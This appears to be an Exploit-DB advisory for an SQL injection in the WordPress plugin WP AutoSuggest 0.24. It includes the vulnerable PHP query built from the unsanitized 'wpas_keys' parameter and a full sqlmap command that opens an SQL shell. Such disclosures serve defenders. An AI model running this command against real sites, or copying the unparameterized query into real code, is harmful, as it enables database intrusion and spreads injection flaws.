WP AutoSuggest 0.24 - SQL Injection

vendor:

WP AutoSuggest

by:

Kaimi

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: WP AutoSuggest

Affected Version From: 0.24

Affected Version To: 0.24

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wp-autosuggest

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2018

WP AutoSuggest 0.24 – SQL Injection

A vulnerability exists in WP AutoSuggest 0.24, where an attacker can inject malicious SQL queries via the 'wpas_keys' parameter in the 'autosuggest.php' file. An attacker can exploit this vulnerability by using a tool such as sqlmap to inject malicious SQL queries and gain access to the database.

Mitigation:

Upgrade to the latest version of WP AutoSuggest, which is not vulnerable to this attack.

Source

Exploit-DB raw data:

# Exploit Title: WP AutoSuggest 0.24 - SQL Injection
# Date: 01-12-2018
# Software Link: https://wordpress.org/plugins/wp-autosuggest/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.24
# Category: webapps

SQL Injection
File: autosuggest.php

Vulnerable code:
if (isset($_GET['wpas_keys'])) {
	$wpas_keys = $_GET['wpas_keys'];
}
...
$wpas_keys = str_replace(' ','%',$wpas_keys);
	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");


Exploitation example:

sqlmap -u "http://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell